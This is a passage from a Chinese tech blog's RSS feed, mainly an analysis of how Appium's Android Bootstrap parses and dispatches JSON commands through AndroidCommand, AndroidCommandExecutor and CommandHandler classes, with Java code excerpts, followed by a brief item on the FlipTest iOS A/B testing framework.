onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421669.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:26 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421669.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Appium Android Bootstrap源码分析之命令解析执行</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:25:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421668.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421668.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421668.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">通过上一篇<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>《<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bootstrap</strong></u></a>源码分析之控件AndroidElement》我们知道了Appium从pc端发送过来的命令如果是控件相关的话，最终目标控件在bootstrap中是以AndroidElement对象的方式呈现出来的，并且该控件对象会在AndroidElementHash维护的控件哈希表中保存起来。但是appium触发一个命令除了需要提供是否与控件相关这个信息外，还需要其他的一些信息，比如，这个是什么命令？这个就是我们这篇文章需要讨论的话题了。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　下面我们还是先看一下从pc端发过来的json的格式是怎么样的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=49982" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911451TEnd.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　可以看到里面除了params指定的是哪一个控件之外，还指定了另外两个信息：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　cmd: 这是一个action还是一个shutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　action：如果是一个action的话，那么是什么action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　开始前我们先简要描述下我们需要涉及到几个关键类：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911452dLU9.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><strong style="word-break: break-all;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">1. Appium命令解析器AndroidCommand</a></strong></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　AndroidCommand这个类真实的作用其实就是去把Appium从pc端发送过来的那串json命令解析出来，它拥有两个成员变量：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　JSONObject &nbsp; &nbsp; &nbsp; &nbsp; json;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　AndroidCommandType cmdType;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　json就是pc过来的json格式的那串命令，cmdType就是action或者shutdown，其实就是用来把这个类伪装成更像个命令类而已，我认为如果不提供这个成员变量而直接修改其getType的实现去解析json字串直接获得对应的AndroidCommandType，然后把这个类的名字改成AndroidCommandParser得了。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　那么我们往下看下AndroidCommand究竟是怎么对客户端命令进行解析的，它的方法都很短，所以我把它做成一个表，这样比较清晰点：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911453mrzV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　从表中的这些方法可以看出来，这个类所做的事情基本上都是怎么去解析appium从pc端过来的那串json字串。<br /><br /></a><a href="http://www.51testing.com/batch.download.php?aid=49983" target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　2. Action与CommandHandler的映射关系</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　从上面描述可以知道，一个action就是一个代表该命令的字串，比如&#8216;click&#8217;。但是一个字串是不能去执行的啊，所以我们需要有一种方式把它转换成可以执行的代码，这个就是AndroidCommandExecutor维护的一个静态HashMap map所做的事情：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">class AndroidCommandExecutor {</div><div style="word-break: break-all; margin: 10px 0px;">private static HashMap&lt;String, CommandHandler&gt; map = new HashMap&lt;String, CommandHandler&gt;();</div><div style="word-break: break-all; margin: 10px 0px;">static {</div><div style="word-break: break-all; margin: 10px 0px;">map.put("waitForIdle", new WaitForIdle());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("clear", new Clear());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("orientation", new Orientation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("swipe", new Swipe());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("flick", new Flick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("drag", new Drag());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pinch", new Pinch());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("click", new Click());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchLongClick", new TouchLongClick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchDown", new TouchDown());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchUp", new TouchUp());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchMove", new TouchMove());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getText", new GetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("setText", new SetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getName", new GetName());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getAttribute", new GetAttribute());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDeviceSize", new GetDeviceSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("scrollTo", new ScrollTo());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("find", new Find());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getLocation", new GetLocation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getSize", new GetSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("wake", new Wake());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressBack", new PressBack());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressKeyCode", new PressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("longPressKeyCode", new LongPressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("takeScreenshot", new TakeScreenshot());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("updateStrings", new UpdateStrings());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDataDir", new GetDataDir());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("performMultiPointerGesture", new MultiPointerGesture());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("openNotification", new OpenNotification());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("source", new Source());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这个map指定了我们支持的pc端过来的所有action，以及对应的处理该action的类的实例，其实这些类都是CommandHandler的子类基本上就只有一个：去实现CommandHandler的虚拟方法execute！要做的事情就大概就这几类：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　控件相关的action：调用AndroidElement控件的成员变量UiObject el对应的方法来执行真实的操作</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　UiDevice相关的action：调用UiDevice提供的方法</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　UiScrollable相关的action：调用UiScrollable提供的方法</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　UiAutomator那5个对象都没有的action：该调用InteractionController的就反射调用，该调用QueryController的就反射调用。注意这两个类UiAutomator是没有提供直接调用的方法的，所以只能通过反射。更多这两个类的信息请翻看之前的UiAutomator源码分析相关的文章</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　其他：如取得compressedLayoutHierarchy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　指导action向CommandHandler真正发生转换的地方是在这个AndroidCommandExecutor的execute方法中：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command) {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.debug("Got command action: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">if (map.containsKey(command.action())) {</div><div style="word-break: break-all; margin: 10px 0px;">return map.get(command.action()).execute(command);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,</div><div style="word-break: break-all; margin: 10px 0px;">"Unknown command: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final JSONException e) {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.error("Could not decode action/params of command");</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,</div><div style="word-break: break-all; margin: 10px 0px;">"Could not decode action/params of command, please check format!");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　它首先叫上面的AndroidCommand解析器把json字串的action给解析出来</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后通过刚提到的map把这个action对应的CommandHandler的实现类给实例化</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后调用这个命令处理类的execute方法开始执行命令</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">3. 命令处理示例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　我们这里就示例性的看下getText这个action对应的CommandHandler是怎么去通过AndroidElement控件进行设置文本的处理的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public class GetText extends CommandHandler {</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">* @param command The {@link AndroidCommand} used for this handler.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidCommandResult}</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @throws JSONException</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.</div><div style="word-break: break-all; margin: 10px 0px;">* bootstrap.AndroidCommand)</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@Override</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command)</div><div style="word-break: break-all; margin: 10px 0px;">throws JSONException {</div><div style="word-break: break-all; margin: 10px 0px;">if (command.isElementCommand()) {</div><div style="word-break: break-all; margin: 10px 0px;">// Only makes sense on an element</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">final AndroidElement el = command.getElement();</div><div style="word-break: break-all; margin: 10px 0px;">return getSuccessResult(el.getText());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,</div><div style="word-break: break-all; margin: 10px 0px;">e.getMessage());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final Exception e) { // handle NullPointerException</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unknown error");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unable to get text without an element.");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　关键代码就是里面通过AndroidCommand的getElement方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　解析传进来的AndroidCommand实例保存的pc端过来的json字串，找到&#8217;params&#8216;项的子项&#8217;elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　通过这个获得的id去控件哈希表（请查看《Appium Android Bootstrap源码分析之控件AndroidElement》）中找到目标AndroidElement控件对象</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后调用获得的AndroidElement控件对象的getText方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　最终通过调用AndroidElement控件成员UiObject控件对象的getText方法取得控件文本信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　4. 小结</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　bootstrap接收到appium从pc端发送过来的json格式的键值对字串有多个项：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　cmd: 这是一个action还是一个shutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　action：如果是一个action的话，那么是什么action，比如click</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　params:拥有其他的一些子项，比如指定操作控件在AndroidElementHash维护的控件哈希表的控件键值的'elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　在收到这个json格式命令字串后：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　AndroidCommandExecutor会调用AndroidCommand去解析出对应的action</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后把action去map到对应的真实命令处理方法CommandHandler的实现子类对象中</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　然后调用对应的对象的execute方法来执行命令</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">相关文章：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap源码分析之简介</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap之控件AndroidElement</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/wx.jpg) no-repeat;"></div></a></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: block; left: 552px; top: 2965px; opacity: 0.4; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-23 00:25 <a href="http://www.blogjava.net/qileilove/archive/2014/12/23/421668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Fliptest—iOS 的应用A/B测试框架</title><link>http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 16:22:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421666.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/23/421666.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421666.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421666.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　FlipTest是专为iOS设计的<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">移动</strong></u></a>应用A/B测试框架，通过它，开发者可以无需重新向App Store提交应用或重构代码，只需添加一行代码，即可直接在iOS应用上进行A/B测试。对移动应用做 A/B&nbsp;<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>是非常难的，而 FlipTest 可以帮你简化这个过程。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50130" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412171457151Lj7o.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　对于想要追求UI极致的开发者而言，FlipTest绝对是最合适的<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试框架</strong></u></a>。FlipTest会为应用选择最恰当的用户界面，还会基于外观、可用性等众多因素返还测试结果，从而帮助开发者彻底解决UI问题。</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; width: 182px; height: 32px; display: inline-block; position: relative; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; 